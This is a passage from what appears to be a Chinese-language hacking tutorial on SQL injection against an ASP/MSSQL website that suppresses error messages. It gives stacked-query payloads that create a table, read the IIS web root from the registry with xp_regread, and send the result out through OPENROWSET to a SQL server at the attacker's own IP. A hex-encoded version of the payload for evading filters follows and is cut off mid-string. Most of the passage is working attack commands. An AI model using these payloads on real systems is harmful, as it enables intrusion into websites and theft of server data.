|
WSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a
这一条语句。。。同时你会在事件探测器那边会显示
SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1' 其中的C:\Inetpub 就是网站的路径。。调试成功。。
现在进入实战阶段。。某网站屏蔽了全部出错信息。。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?
a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--
返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:
a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
出错了。。出错信息被屏蔽了。。怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制。。或许还有别的地方要转化。。怎么办啊?
于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。。
a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%65%73%75%6C%74%20%6上一页 [1] [2] [3] 下一页
|